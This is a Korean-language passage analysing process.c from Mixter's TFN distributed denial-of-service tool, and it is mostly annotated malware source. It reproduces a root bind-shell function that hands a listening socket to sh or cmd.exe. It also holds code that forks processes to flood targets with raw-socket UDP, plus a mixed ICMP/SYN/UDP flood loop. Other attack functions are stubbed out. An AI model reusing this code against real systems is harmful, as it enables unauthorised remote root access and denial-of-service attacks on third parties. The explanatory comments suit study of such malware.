다음으로 확인할 process.c는 셸 서버 스레드 관리자라고 생각하자. 여기에는
구체적인 공격을 명령하는 함수들이 등장한다. 즉, td.c에서 만날 수 있었던 함수
들이다.

/*bind로 루트셸을 빼앗을 경우 사용되는 함수.*/
void
shellsex (int port)
{
setuid (0);
setgid (0);
#ifndef WINDOZE
setreuid (0, 0);
setregid (0, 0);
#endif
s1 = socket (AF_INET, SOCK_STREAM, TCP);
bzero ((char *) &s_a, sizeof (s_a));
s_a.fam = AF_INET;
s_a.add = htonl (INADDR_ANY);
s_a.dp = htons (port);
/*bind는 소켓에 주소를 할당하기 위해 사용되는 것으로 sys/socket.h에 정의되어
있다. int bind (int socket, struct sockaddr *addr, size_t length) 와 같이
사용한다. bind함수는 “socket”소켓에 주소를 지정한다. addr과 length인수는
주소를 구체화한다. 자세한 주소포맷은 이름공간에 의존한다. 주소의 첫 번째
부분은 항상 포맷지정자이다. 포맷지정자는 이름공간을 명시하고, 그 주소가 그
이름공간의 포맷의 주소임을 말한다. 성공하면 0을 리턴하고, 실패하면 -1을 리턴
한다. */
if (bind (s1, (struct sockaddr *) &s_a, sizeof (s_a)) < 0)
exit (0);
if (listen (s1, 1) < 0)
exit (0);
/*listen 함수는 외부로부터 접속이 들어오는 것을 대기하는 함수. 사용은
listen(소켓 기술자, 접속 대기되는 최대 연결 가능한 수)와 같은 꼴로 한다.*/
while (1)
{
s3 = sizeof (c_a);
s2 = accept (s1, (struct sockaddr *) &c_a, &s3);
/*accept는 접속 들어온 것을 연결한다.
accept(소켓 기술자, 접속 정보 포인터, 로컬 정수변수)와 같이 사용된다.*/
dup2 (s2, 0);
dup2 (s2, 1);
dup2 (s2, 2);
#ifndef WINDOZE
if (execlp (“sh”, “sh”, (char *) 0) < 0)
execlp (“ksh”, “ksh”, (char *) 0); /* yech, no sh */
#else
if (execlp (“command.exe”, “command.exe”, (char *) 0) < 0)
execlp (“cmd.exe”, “cmd.exe”, (char *) 0); /* yech, windoze neanderthal technology */
#endif
close (s2);
return;
}
}

/*udp 공격을 명령하는 함수. 다른 것들도 같은 방식이므로 다른 것은 생략*/
void
commence_udp (char *ip)
{
if ((parse = strtok (ip, DELIMITER)) == NULL) /*한 글자씩 토큰한다*/
{
fw00ding = 0;
return;
}
while ((parse != NULL) && (i++ < CHLD_MAX))
/*ip의 길이 혹은 CHLD_MAX 중 큰 쪽의 크기만큼 루프*/
{
resolved = resolve (parse);
p = fork ();
if (!p)
{
rawsock = socket (AF_INET, SOCK_RAW, RAW);
setsockopt (rawsock, IP, IP_HDRINCL, “1”, sizeof (“1”));
if (resolved == -1)
exit (0);
while (1)
udp (resolved);/*flood.c 참조*/
}

/*이 부분에서는 원래 공격 로그를 남긴다. 생략.*/
pid[i] = p;
parse = strtok (NULL, DELIMITER);
}

}

void
commence_syn (char *ip, int port)
{
/*syn 공격 지시*/
}

void
commence_icmp (char *ip)
{
/*icmp 공격 지시*/
}

void
commence_mix (char *ip)
{
/*혼합 공격 지시. 다른 부분은 대개 비슷하나 끝부분에 이런 것이 붙는다.*/
while (1)
{
icmp (resolved, 0);
syn (resolved, 0);
udp (resolved);
}
}
void
commence_smurf (char *ip)
{
/*smurf 공격 지시*/
}

void
commence_targa3 (char *ip)
{
/*targa 공격 지시*/
}

void
must_kill_all (void) /*모든 플러드 밑 자식 플러드까지 소멸시킨다.*/
{
int i;

for (i = 0; i <= CHLD_MAX – 1; i++)
{
#ifdef ATTACKLOG
char tmp[100];
if (pid[i] < 2)
break;   /* killing -1 or 0 != fun 🙂 */
sprintf (tmp, “Killing flood pid (#%d): %dn”, i, pid[i]);
dbug (tmp);
kill (pid[i], 9);
#else
if (pid[i] < 2)
break;   /* killing -1 or 0 != fun 🙂 */
kill (pid[i], 9); /*기본적으로 알고들 있는 kill을 사용한다. 뒤의 9는
확실히 죽이라는 뜻의 옵션임!*/
#endif
}
}

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777